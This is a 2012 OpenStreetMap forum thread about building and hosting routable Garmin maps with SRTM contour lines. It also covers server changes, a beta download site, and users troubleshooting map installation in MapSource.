- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.03.2012 15:35 · [flux]
I'm using osm.nl too but I'd need to move the Europe set (too much bandwidth). Maybe Lambertus has some space left on his server to store a European srtm set? If someone would like to generate one I'd be happy to host it on my google docs account.
- Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 23.03.2012 18:01 · [flux]
ligfietser wrote:
How much time will it roughly take to generate them?
Depends on how much data it will be in the end. At first I have to download all the sources, most of them are still not in my cache. Then it depends on the number of nodes. If it are more than the tilesplitter can handle, it will become pretty complicated.
The script to collect all the data is already running. I think beginning of next week I can say more. Let's see.
Thorsten
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.03.2012 18:20 · [flux]
I'm looking forward to see the results! 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 24.03.2012 19:36 · [flux]
ligfietser wrote:
I'm looking forward to see the results! 😎
Ok, with the europe.poly from geofabrik the map is 5.1GB, that's too much 🙁 Looks like I have to split the map into two parts.
Does somebody know a better poly file for europe? The one from geofabrik has far too much outside.
Thorsten
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.03.2012 21:28 · [flux]
5,1 Gb in osm xml format? Or img?
Maybe you can use the cloudmade europe.poly?
http://downloads.cloudmade.com/europe/europe.poly - Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 26.03.2012 07:52 · [flux]
ligfietser wrote:
5,1 Gb in osm xml format? Or img?
5.1 GB for the img. I created my own poly file yesterday and now the input data is only 4GB, so I'm optimistic that I will have something working this evening.
Thorsten
- Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 26.03.2012 12:55 · [flux]
kukuk wrote:
I created my own poly file yesterday and now the input data is only 4GB, so I'm optimistic that I will have something working this evening.
Ok, the resulting gmapsupp.img is again over 4GB. Have too look at it tonight to see how I can splitt it into two parts.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 26.03.2012 14:21 · [flux]
Maybe you can just zip it as folder with individual img's with an installer exe / tdb file / overview map img to install it under Windows?
Mac users can install this zip file to gmap format with the Javawa Mapinstaller. - Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 27.03.2012 13:22 · [flux]
Hi,
ok, a first version of a SRTM map for Europe can be found here: TK-Europe-SRTM.7z
It contains an installer for Windows and a gmapsupp.img you can copy directly onto the device. Yes, I was able to get the img smaller than 4GB 🙂.
Haven't tested it yet on my device yet, but in MapSource it looks good.Thorsten
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.03.2012 16:03 · [flux]
cool, I'll try it out on my next Europe update. Can I have your permission to recycle those tiles? 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 27.03.2012 16:34 · [flux]
ligfietser wrote:
cool, I'll try it out on my next Europe update. Can I have your permission to recycle those tiles? 🙂
Yes, you can.
Thorsten
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.03.2012 16:48 · [flux]
Thanks! 🙂
It looks good (I had to remove one of you other mapsets (Benelux srtm) first because of conflicting Family ID numbers, but now I can see the map in Mapsource). Can't load it in Basecamp as image file on my virtual disk drive, probably it is too large... Havent tried it on the GPS yet.
- Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 27.03.2012 17:12 · [flux]
ligfietser wrote:
It looks good (I had to remove one of you other mapsets (Benelux srtm) first because of conflicting Family ID numbers,
Ok, the family ID of the Benelux srtm was wrong 🙁 Fixed now the database, so that the next build should have a correct one.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.04.2012 20:57 · [flux]
The custom map server is moving to another server due to problems with the network load. This might take about two days starting April 4th, so please be patient.
A note: the new server has much inferior CPU performance compared to the old server so I expect longer queues now and then. I hope this can be lessened a bit by more clever programming on my part so please pray/twist thumbs I can unleash some clever php-fu on the scripts. Don't expect too much though... Maybe I'll start using some of the advanced stuff Ligfietser has used to reduce the amount of compressing for his cycle maps.
I hope this server switch eliminates the frequent server crashes we had during the last year or so.
- Re: Worldwide routable Garmin maps: URL REMOVED · jmarteijn (Gast) · 05.04.2012 14:00 · [flux]
ligfietser wrote:
cool, I'll try it out on my next Europe update. Can I have your permission to recycle those tiles? 🙂
Does this mean you will implement the SRTM map in the next Europe Update?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.04.2012 17:21 · [flux]
Yes, very soon I will put it online, the first results are looking very good (thanks to Thorsten for his help compiling them). Maybe I'll put them also as separate map so you can combine them as well with Lambertus map on the GPS.
- Re: Worldwide routable Garmin maps: URL REMOVED · jmarteijn (Gast) · 06.04.2012 07:23 · [flux]
Looking indeed very good! Allready combined the map for test and i was also impressed by the result.
Just another brief question:
By creating a route in Mapsource, i noticed it uses the default "Knooppunten" by creating a route. Is it possible to avoid this? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.04.2012 09:23 · [flux]
The new server is configured and up and running.
A few changes have been made to the scripts because I'm expecting that this server is a bit slower:
- The thead pool (3 maps are created simultaneously) is now constantly updated with new requests instead of using a list of requests at the time the script starts. The old method was less efficient when only one thread was left working on a large request while new requests had to wait for the script to restart. The new script checks for new requests every time a thread is finished.
- The default lzma compression of the NSIS installer for Windows is now overruled to use bzip2 using a commandline option. This will speed-up the MapSource version of the map considerably. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.04.2012 10:29 · [flux]
jmarteijn wrote:
Just another brief question: By creating a route in Mapsource, i noticed it uses the default "Knooppunten" by creating a route. Is it possible to avoid this?
Please use this topic concerning the Openfietsmap (otherwise Lambertus will kick me 😉)
Edit by Lambertus: Haha 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 06.04.2012 15:46 · [flux]
Do worldwide routable downloads now incorporate OSM license changes?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.04.2012 16:22 · [flux]
ligfietser wrote:
I'm using osm.nl too but I'd need to move the Europe set (too much bandwidth). Maybe Lambertus has some space left on his server to store a European srtm set? If someone would like to generate one I'd be happy to host it on my google docs account.
Sorry Ligfietser I missed this question 🙁
I'm interested in trying to host the SRTM tiles for Garmin map purposes for the whole world (I hope my sponsor won't mind the significant extra bandwidth usage that most probably comes with it), preferably already splitted into usable tile sizes. One of the servers has a partition with 380 GB free diskspace. I hope that all the SRTM data in OSM PBF or OSM XML.7z format will be small enough to fit.
As I understand, from the discussion between you and Kukuk above, the creation of the ready-to-use tiles is a bit tricky. I'm thinking of using Phyghtmap for downloading the data in large PBF chunks, merge the osm files with Osmosis into a planet and then use Splitter to create suitably sized tiles. Can you or Kukuk tell me if this could work? What are the pitfalls?
A few specific questions:
- What is a useful interval of the contour lines, 20 or perhaps 50 meters?
- What base ID should be used for the nodes and ways?
- Is incorporating viewfinderpanorama data useful?
- I found this wiki page that describes how to properly process the SRTM data. Seems quite complex to me, is it necessary? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.04.2012 17:20 · [flux]
Seldom wrote:
Do worldwide routable downloads now incorporate OSM license changes?
No, because the site is currently using data from 01-04-2012 and therefore still uses the CC-by-SA 2.0 license. I've ran an update this weekend (due to be uploaded to the server) this weekend but, afaik, this is also still provided under the CC-by-SA 2.0 license.
- Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 09.04.2012 20:00 · [flux]
Lambertus wrote:
As I understand, from the discussion between you and Kukuk above, the creation of the ready-to-use tiles is a bit tricky. I'm thinking of using Phyghtmap for downloading the data in large PBF chunks, merge the osm files with Osmosis into a planet and then use Splitter to create suitably sized tiles. Can you or Kukuk tell me if this could work? What are the pitfalls?
The number of nodes, or better you will run out of IDs. With the west part of the USA I run already out of node IDs because of a 32bit signed tile splitter bug. The bug is meanwhile fixed, but this only means you will run into the problem again later. And this without merging the SRTM data with the OSM data, starting with node ID=1.
The other problem is, that 8GB of main memory are already critical for the US alone.A few specific questions:
- What is a useful interval of the contour lines, 20 or perhaps 50 meters?Depends on the density in the area, in some areas 10 meters are a good value, in others 50. But I haven't found a good way to find out when to use which interval.
- What base ID should be used for the nodes and ways?
If you want to merge with OSM data: I don't know, Else start with 1.
- Is incorporating viewfinderpanorama data useful?
Yes, I can only recommend to prefer that data. The NASA data for europe has quite some "holes".
- I found this wiki page that describes how to properly process the SRTM data. Seems quite complex to me, is it necessary?
Yes and no. I have implemented the --max-nodes-per-way option for phyghtmap some time ago and I use it with "--max-nodes-per-way=250". This should prevent this artefacts. If you still see such artefacts, lower the number even more.
Thorsten
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.04.2012 21:01 · [flux]
Thanks Thorsten, it's going to be a challenge. That's for sure.
The other problem is, that 8GB of main memory are already critical for the US alone.
Why is it needing so much memory? I assume that this is needed for splitting into tiles by Phyghtmap? But is that necessary? I.e. would it be possible to just append all the SRTM data to a single PBF file and split it with Splitter? I know Splitter isn't perfect yet for splitting contours but it has a lot of work built-in to process large amounts of data, so it seems to me like it is the natural choice to attack this problem of splitting the data into tiles.
Depends on the density in the area, in some areas 10 meters are a good value, in others 50. But I haven't found a good way to find out when to use which interval.
Ah, I was afraid for that. I hate doing manual laborious dull work and this sounds like a lot of manual tweaking. 🙁
If you want to merge with OSM data: I don't know, Else start with 1.
Please forgive my dumb questions, but are there reasons why one would merge the contours with OSM data? Would a separate image layer for the contours not fit most needs?
Yes, I can only recommend to prefer that data. The NASA data for europe has quite some "holes".
Okay, but the viewfinderpanorama data is not free, that is, the siteowner must be asked for permission for the things I want to do and he can say "no". I'll ask him if I decide to go ahead.
Yes and no. I have implemented the --max-nodes-per-way option for phyghtmap some time ago and I use it with "--max-nodes-per-way=250". This should prevent this artefacts. If you still see such artefacts, lower the number even more.
Great, at least there is a way out of the problems described in that wiki page. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · extremecarver (Gast) · 10.04.2012 16:26 · [flux]
if you use viewfinderpanoramas.org data, you may not merge the data (different license). If you don#t use it, you end up with bad quality contourlines. Still, contourlines for the whole world, will take you a lot of time to generate (as the tools are not made for it), or need a machine with at least 64GB RAM...
(as for space, I would assume for the generation 200GB are about what you need). - Re: Worldwide routable Garmin maps: URL REMOVED · HeinIII (Gast) · 11.04.2012 22:15 · [flux]
Hi all, after some years of straightforward installation into mapsource, the mapping gods have turned against me. I just cannot get it to work anymore. Installation of OSM routable into mapsource I mean. I tried anything I could think of. Reinstall mapsource even. But all of it in vain.
Suggestions anybody?Thnx for your help, Hein
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 11.04.2012 22:19 · [flux]
Hein, we need more info on what goes wrong. Error message, or what happens or doesn't happen.
- Re: Worldwide routable Garmin maps: URL REMOVED · HeinIII (Gast) · 11.04.2012 23:13 · [flux]
OK, this is waht happens:
I choose Netherlands for the map I want to download from the routable site.
Choose mapsource.exe to download
After download complete I "open" mapsource.exe
for the installation I direct the installer to c:\Program Files\Openstreetmap Garmin Maps\ (this folder also contains NL-FRYSK that IS recognized in Mapsource)
during installation I acknowledge/Ok permissions etc. and the folder containing a (seamingly) correct nr of img files is installed
the installed OSM routable map is also visible in the list of installed software (Configuration)
however, when I start mapsource OSM routable is not in the list of mapproducts.When I mess around with the working NL-FRYSK map, (I move all original files out of the NL-FRYSK folder and exchange them for the files in the OSM routable). The mapproduct NL-FRYSK dissappears from the list of mapproducts in mapsource. I cannot use it anymore. When I undo the move and put the original files back in, the N-FRYSK is available again.
All the time there are no error messages as far as I can see.
I am running Windows Vista, my browser is Firefox. I have basecamp installed as well. That behaves the same as mapsource.
Does this help?
Thnx, Hein
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 11.04.2012 23:23 · [flux]
So, you are installing the OSM map into the SAME folder that contains the NL-FRYSK files? If so, this is the problem. All maps must reside in their own folders.
If not, try installing JaVaWa GMTK. This will probably tell you what is wrong and fix it for you.
- Re: Worldwide routable Garmin maps: URL REMOVED · HeinIII (Gast) · 11.04.2012 23:36 · [flux]
The "OSM Routable" map is in a folder named "OSM Routable". the "NL-FRYSK" map is a folder named "NL-FRYSK". These foders being made during the installation process. In my opinion this means they are in sepaarte forlders? Both folders share a (higher level folder) named "Openstreetmap Garmin Maps".
Can JaVaWa GMTK help in this case? I do not want to move maps?
Hein
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 11.04.2012 23:40 · [flux]
I just re-read your post and now see how you make the NL map disappear. 🙂
JaVaWa let's you check for errors and offers to fix them. Moving maps is just one thing the app does. Give it a go. There is either a conflict with your NL map or your registry is somehow messed up. There is a good chance that this will help you.
- Re: Worldwide routable Garmin maps: URL REMOVED · HeinIII (Gast) · 11.04.2012 23:50 · [flux]
OK, I ran JaVaWa. Shows all of the installed maps (4) as either green or yellow without any indication of errors (cross icon is greyed out). 1 Of the 4 maps JaVaWa finds is the OSM routable we are discussing. That one has a green square, no diagonal. The other three I see i MApsource and have access to. The ÖSM routable" remains unavailable.
Hein - Re: Worldwide routable Garmin maps: URL REMOVED · HeinIII (Gast) · 12.04.2012 00:04 · [flux]
Beddhist wrote:
I just re-read your post and now see how you make the NL map disappear. 🙂
JaVaWa let's you check for errors and offers to fix them. Moving maps is just one thing the app does. Give it a go. There is either a conflict with your NL map or your registry is somehow messed up. There is a good chance that this will help you.
Registry made me check further. With the info from JaVaWa I find there is a difference in de reg key used for NL-FRYSK and The OSM routable. see belowattachment. That could be it?
Hein
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Naam in toestel: OSM World Routable
Family ID (FID): 2000
Product ID (PID): 3
Versie: 1.00
Grootte: 353,33 MiB
Locatie: C:\Program Files\OpenStreetMap Garmin maps\OSM World Routable\
Registersleutel: HKEY_LOCAL_MACHINE\SOFTWARE\Garmin\MapSource\Families\OSM World Routable
Kaarttype: Registerkaart
Beveiligd: NeeKaartsegmenten (76): 63240012.img: OSM World Routable (63240012)
63240016.img: OSM World Routable
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~and
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Naam op computer: OSM NL Frysk
Naam in toestel: OSM map
Product ID (PID): 52
Versie: 1.00
Grootte: 75,91 MiB
Locatie: C:\Program Files\OpenStreetMap Garmin maps\NL-FRYSK\
Registersleutel: HKEY_LOCAL_MACHINE\SOFTWARE\Garmin\MapSource\Products
Kaarttype: Registerkaart
Beveiligd: NeeKaartsegmenten (169): 13000001.img: OSM NL Frysk(13000001)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 12.04.2012 03:03 · [flux]
If you have an older install file then you could try removing the current OSM map and installing the older one. Perhaps your install file is broken? Since thousands of people use this successfully, it has to be a problem on your PC. Sorry, I don't think I can help you any further...
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 12.04.2012 05:33 · [flux]
HeinIII wrote:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Naam op computer: OSM NL Frysk
Naam in toestel: OSM map
Product ID (PID): 52
Versie: 1.00
Grootte: 75,91 MiB
Locatie: C:\Program Files\OpenStreetMap Garmin maps\NL-FRYSK\
Registersleutel: HKEY_LOCAL_MACHINE\SOFTWARE\Garmin\MapSource\Products
Kaarttype: Registerkaart
Beveiligd: NeeKaartsegmenten (169): 13000001.img: OSM NL Frysk(13000001)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Looks like this was installed a long time ago, before Garmin adopted Family IDs. If you have a valid TDB file, overview.IMG file, and IMG file you could re-install it with a Family ID using MapSetToolKit and the process I describe here about halfway down the thread. There's probably a more elegant way to do it using JavaWa, but I'm not very good with that yet.
- Re: Worldwide routable Garmin maps: URL REMOVED · Herve5 (Gast) · 12.04.2012 14:04 · [flux]
Hello!
I have been a relatively slow but continuous mapper for a couple of years, and having just bought a Garmin GPS I discover this discussion: needless to say I'm delighted --I knew the others OSM activities of Lambertus but here I'm just baffled ;-)
I just downloaded my region and managed to install it on a Dezl, routing works perfectly and it's a really warm feeling to "see OSM" on the GPS screen. (I see some complain about how the map default looks: I definitely love it!)If I may, I have just a single wish: my GPS is capable to handle truck-related constraints within the Garmin own map: for instance, I announce my trailer is 3m high, and then the software will automatically avoid passing under bridges allowing only 2.5m max height.
Now, when the GPS only runs from the OSM map, it won't recognize height limit tags apparently.
Do you think it is an issue with the tags themselves? (i. e., wrong tag, wrong tagged object..?)
Or is it a limit from the translating software that'll not transfer them "to Garmin"?(I remember having added myself many of these truck constraints in my surroundings in OSM!)
TIA!
Hervé - Re: Worldwide routable Garmin maps: URL REMOVED · ajoessen (Gast) · 12.04.2012 14:17 · [flux]
Herve5 wrote:
If I may, I have just a single wish: my GPS is capable to handle truck-related constraints within the Garmin own map: for instance, I announce my trailer is 3m high, and then the software will automatically avoid passing under bridges allowing only 2.5m max height.
Now, when the GPS only runs from the OSM map, it won't recognize height limit tags apparently.
Do you think it is an issue with the tags themselves? (i. e., wrong tag, wrong tagged object..?)
Or is it a limit from the translating software that'll not transfer them "to Garmin"?In Germany, someone recently invented a Garmin map for trucks:
http://wiki.openstreetmap.org/wiki/User:Win32netskySo, it is possible! But you have to implement it.
Greetings,
ajoessen - Re: Worldwide routable Garmin maps: URL REMOVED · HeinIII (Gast) · 12.04.2012 16:36 · [flux]
Seldom wrote:
HeinIII wrote:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Naam op computer: OSM NL Frysk
Naam in toestel: OSM map
Product ID (PID): 52
Versie: 1.00
Grootte: 75,91 MiB
Locatie: C:\Program Files\OpenStreetMap Garmin maps\NL-FRYSK\
Registersleutel: HKEY_LOCAL_MACHINE\SOFTWARE\Garmin\MapSource\Products
Kaarttype: Registerkaart
Beveiligd: NeeKaartsegmenten (169): 13000001.img: OSM NL Frysk(13000001)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Looks like this was installed a long time ago, before Garmin adopted Family IDs. If you have a valid TDB file, overview.IMG file, and IMG file you could re-install it with a Family ID using MapSetToolKit and the process I describe here about halfway down the thread. There's probably a more elegant way to do it using JavaWa, but I'm not very good with that yet.
Hi, the thing is .... The OSM NL-Frysk is a map I can see and use in Mapsource. The map I want to see, but cannot, is the OSM World Routable. If I understand you correctly this has been installed in the correct way. So, I do not want to fix the NL Frysk installation. That one I could actually do without. I want the OSM routable to work though. Any thoughts on that?
Thnx, Hein
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.04.2012 17:41 · [flux]
I can only think of running the deinstaller for the OSM World Routable map and reinstall it, or if the deinstaller does not exist or does not remove everything, manually remove the map from the harddisk and delete the entry for the map in the registry (search for "OSM World Routable", then delete the entry in Garmin/MapSource/Families). Then reinstall the OSM World Routable map.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 12.04.2012 18:19 · [flux]
I agree with Lambertus. If you aren't comfortable manually deleteing items from your registry MapSetToolKit has a handy "uninstall" feature.
- Re: Worldwide routable Garmin maps: URL REMOVED · HeinIII (Gast) · 12.04.2012 19:14 · [flux]
Thnx guys, I tried the uninstall/install thing already, Not in combination with deleting the registry entry though. Will give it a try. The thing that bugs me, is the fact that I was a happy osm routable user untill a month or so ago. I ignored the problem untill recently. I'll try the mapsetoolkit.
Hein
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 12.04.2012 19:32 · [flux]
Herve5 wrote:
If I may, I have just a single wish: my GPS is capable to handle truck-related constraints within the Garmin own map: for instance, I announce my trailer is 3m high, and then the software will automatically avoid passing under bridges allowing only 2.5m max height.
Working with Garmin maps I can say that there is no tag for height restrictions, only truck yes/no. I think you have discovered a feature of NT maps, which only Garmin themselves can compile.
As ajoessen says, you can compile your own map and implement a rule that restricts trucks in the Garmin map if height > x metres.
- Re: Worldwide routable Garmin maps: URL REMOVED · HeinIII (Gast) · 12.04.2012 19:41 · [flux]
Success, thnx to all that came with suggestions. The mapsettoolkit really worked. I started the program and saw that a long list of debris (old map entries) was there. Only needed to select and uninstall these and then, ... after startup of mapsource, I saw that the osm routable map of the Netherlands was there again.
Thnx again, Hein
- Re: Worldwide routable Garmin maps: URL REMOVED · Herve5 (Gast) · 13.04.2012 10:22 · [flux]
Thank you, ajoessen and Beddhist!
I think I'm not mature enough to start compiling myself but I hope to reach this within some months!Indeed the "truck" features of my Dezl look like they are quite detailed: initially one enters truck height/width/weight... and the restrictions leading to a detour are then identified, criterion by criterion, before the complete traject is drawn; for instance for height I get a screen locating the "faulty" bridge and its height limitation, etc.
I thought this corresponded to some equivalent to a "maxheight =..." tag.Thanks again for both the great work, and the efficient reactions here!
Hervé - Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 16.04.2012 13:46 · [flux]
At the moment Mongolia is covered with two tiles.
63241379.img // MN-Ulaanbaatar // East
63241643.img // CN-Urumqi // WestI had downloaded them together with the Russian Federation. To my surpise the western tile appeared all blue (water) on the 60Cx.
To check I only downloaded those two tiles again and constructed an GMAPSUPP.IMG out of them. Same result.
Also renaming 63241643.img to GMAPSUPP.IMG will show the whole square as blue on a 60Cx.
Hope this will be ok at next update.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.04.2012 20:32 · [flux]
As some of you know I'm working on a new version of the website where it will be possible to provide multiple types of maps with worldwide coverage.
A first beta version is available at: [[removed for the time being, send me an email if you want to test]]
For now I'm settling on a generic routable and a routable bicycle map and hope to expand later with a nautical map as well. Please test it and tell me what you think. Ideas for improvements are very welcome, but don't complain about the styling unless you have actual code to contribute: I suck at CSS and accept it.
What's new and improved:
- Support for more then one type of map.
- Better detection of existing maps thus less need to fill in your email address and more "download now" situations.
- Easy tileselection: Select tiles quickly using click-drag, but the country selection is also still available.Known problems:
- I wanted to include the stylesheet from Bedhist and Ligfietser for the generic routable map, but somehow my script isn't including it yet. I'm working on it.
- Help files/texts are out of date.If you visit the page you might run into temporary bugs, I'm actively working on it.
Last request: Please don't spread this URL to other forums etc. It is a very temporary URL and will break soon. I don't want people end up confused and complaining about 404 errors later.
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 18.04.2012 20:52 · [flux]
1. The link should be http://garmin.openstreetmap.nl/index_new.php
2. The page on my website you are linking to is obsolete; the tasks described there can be done with JaVaWa GMTK.
3. Nowadays nobody uses (or should use) RoadTrip on the Mac anymore; better rename it 'Installer for BaseCamp (Mac OS X)' or just 'Installer for Mac OS X'.
4. The page is pretty much unusable in Internet Explorer (as we all know); this is caused mainly by the large number of rectangles drawn on the map. I did a test with Leaflet, and that works at a decent speed in IE9 (IE8 is too slow).Except for the first one these points apply to the regular garmin.openstreetmap.nl site too.
Edit: you found point 1. already...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.04.2012 21:27 · [flux]
Thank you for your comments JaVaWa 🙂
JaVaWa wrote:
2. The page on my website you are linking to is obsolete; the tasks described there can be done with JaVaWa GMTK.
Thanks. I will update this.
3. Nowadays nobody uses (or should use) RoadTrip on the Mac anymore; better rename it 'Installer for BaseCamp (Mac OS X)' or just 'Installer for Mac OS X'.
Great, I don't have a Mac so didn't know this. Will update as well.
4. The page is pretty much unusable in Internet Explorer (as we all know); this is caused mainly by the large number of rectangles drawn on the map. I did a test with Leaflet, and that works at a decent speed in IE9 (IE8 is too slow): http://www.javawa.nl/temp/tiletest/
Cool, Leaflet seems much faster indeed. I'll look into that.
Except for the first one these points apply to the regular garmin.openstreetmap.nl site too.
Yes, but that one is about to get discarded...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.04.2012 21:29 · [flux]
I'm not so happy with this Lambertus,
Type file name (openfietsmap_lite.typ) is too long
Styles are the default styles, not my openfietsmap style.
Better test this first in private with a few people. - Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 18.04.2012 21:42 · [flux]
That's right, the name of a typ file cannot be longer than 8 characters (excluding extension)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.04.2012 21:46 · [flux]
ligfietser wrote:
I'm not so happy with this Lambertus,
Type file name (openfietsmap_lite.typ) is too long
Styles are the default styles, not my openfietsmap style.
Better test this first in private with a few people.I'm pretty sure I've seen the typ file in action, so I'm not sure why you think it's too long?
Edit: typ filename is now shortened.I thought that this topic was private enough, but opinions vary apparently.
Well ok, I'll remove the link and wait for your comments. In the mean time I'll try to implement Leaflet, but time the coming days will be in short demand.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.04.2012 22:01 · [flux]
The typ file works in Mapsource but not on the GPS (8 characters max, like Javawa said).
More important is that you didnt use my openfietsmap style files, so this map is the same as the generic one except with the OFM typ file (which makes no sense).Can you mail me your mkgmap settings?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.04.2012 22:17 · [flux]
I discovered the error, caused by copy/paste. I'll run an update tomorrow. The Mkgmap settings are on their way.
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 18.04.2012 22:23 · [flux]
Lambertus wrote:
In the mean time I'll try to implement Leaflet
I could help with that, if you want. I'm not saying I'm an expert on Leaflet, but I experimented a lot with it.
I saw you use a kml file to load the rectangles. Leaflet doesn't have kml support built in (yet). One way to solve that is to use geoJSON; or use an external kml script (but I didn't test that last one). - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.04.2012 22:47 · [flux]
Thanks, I have sent you the up-to-date styles and typ file.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.04.2012 09:26 · [flux]
JaVaWa wrote:
Lambertus wrote:
In the mean time I'll try to implement Leaflet
I could help with that, if you want. I'm not saying I'm an expert on Leaflet, but I experimented a lot with it.
I saw you use a kml file to load the rectangles. Leaflet doesn't have kml support built in (yet). One way to solve that is to use geoJSON; or use an external kml script (but I didn't test that last one).Thanks for your offer JaVaWa, I was already wondering if KML is supported.
I can change the script that outputs the KML to geoJSON and would appreciate it if you can have a look at the website. All the map code is in openfietsmap_lite.js. I've added some extra comments. In the mean time the website can continue ot use OpenLayers as it has been for years, that way I can focus on bringing this live and optimize later.
I hope my coding is not too incompatible with Leaflet...
ligfietser wrote:
Thanks, I have sent you the up-to-date styles and typ file.
Thanks Ligfietser 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.04.2012 10:03 · [flux]
Forget to mention you might use one of the latest mkgmap versions, it has some improvements, like more languages in the installer (Dutch, German and Spanish) and it supports now gmapsupp's > 2 Gb (Dont know if your regions are that big though).
- Re: Worldwide routable Garmin maps: URL REMOVED · RocketMan (Gast) · 04.05.2012 06:16 · [flux]
Removed
- Re: Worldwide routable Garmin maps: URL REMOVED · OSMNZ (Gast) · 05.05.2012 11:22 · [flux]
Hi
When is the next a planned update from OSM?
The dataset seems to be from 01-APR-2012
I am keen to compile some new maps on my Garmin, after having made many edits (inserts) on OSM.
Cheers
- Re: Worldwide routable Garmin maps: URL REMOVED · RocketMan (Gast) · 05.05.2012 16:53 · [flux]
Removed
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 05.05.2012 19:30 · [flux]
RocketMan wrote:
OSMNZ wrote:
Hi
When is the next a planned update from OSM?
The dataset seems to be from 01-APR-2012
I am keen to compile some new maps on my Garmin, after having made many edits (inserts) on OSM.
Cheers
The planetdump is also from April 1st.
http://planet.openstreetmap.org/
I wish I could write a program that pulled data piece by piece using the export on the OSM web page.
That might be a good thing. If I understand correctly, on April 1 the database purge started to remove data from providers who didn't accept the new licensing terms. Therefore, post 4/1/2012 data should be less complete.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.05.2012 21:52 · [flux]
Seldom wrote:
That might be a good thing. If I understand correctly, on April 1 the database purge started to remove data from providers who didn't accept the new licensing terms. Therefore, post 4/1/2012 data should be less complete.
They still havent changed the license so the data is still under cc-by-sa license.
The last update of the demo version of the custom site with the cycling map is from 28/04 (just add index_new.php after the regular url). - Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 05.05.2012 22:19 · [flux]
ligfietser wrote:
They still havent changed the license so the data is still under cc-by-sa license.
The last update of the demo version of the custom site with the cycling map is from 28/04 (just add openfietsmap_lite.php after the regular url).Do you mean that the sky isn't falling? Talk-US sounded like April 1 was the end of the world. Are there plans to leave the old license in place? And will I be able to get an openfietsmap for the state of Utah, USA?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.05.2012 11:44 · [flux]
Seldom wrote:
Do you mean that the sky isn't falling? Talk-US sounded like April 1 was the end of the world. Are there plans to leave the old license in place? And will I be able to get an openfietsmap for the state of Utah, USA?
Seldom, you can check the license change progress out on http://blog.osmfoundation.org/
You can test an openfietsmap for Utah here (if this server is not down like now). - Re: Worldwide routable Garmin maps: URL REMOVED · Karel Smits (Gast) · 06.05.2012 13:11 · [flux]
Hallo Ligfietser,
Ik ben nieuw op OSM, en heb mij netjes geregistreerd, maar als ik probeer mijn eigen map aan te maken en selecties (3) maak, krijg ik geen verbinding met Duitsland waar alles vandaan komt; waar ligt dat aan?
